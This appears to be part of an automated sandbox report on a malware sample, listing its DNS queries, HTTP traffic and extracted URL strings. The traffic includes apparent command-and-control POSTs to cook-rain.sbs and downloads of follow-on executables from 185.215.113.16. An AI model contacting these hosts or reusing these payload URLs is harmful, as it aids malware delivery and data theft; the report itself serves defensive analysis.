Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/;
Source: file.exe, 00000000.00000003.1742240312.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1742240312.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe94
Source: file.exe, 00000000.00000002.1892094686.000000000076B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1742059301.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_129.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_129.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_129.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_129.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_129.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1632169295.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1741948721.0000000005755000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1703932459.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/)
Source: file.exe, 00000000.00000003.1694042936.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694894290.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/L
Source: file.exe, 00000000.00000003.1694042936.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683440777.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694894290.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683420078.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1703932459.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/_
Source: file.exe, 00000000.00000003.1632169295.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A09000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1698252483.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1741948721.0000000005755000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiUni
Source: file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: file.exe, 00000000.00000002.1894285939.00000000009F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_129.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_129.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_109.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_109.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_120.7.dr, chromecache_109.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1663498197.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
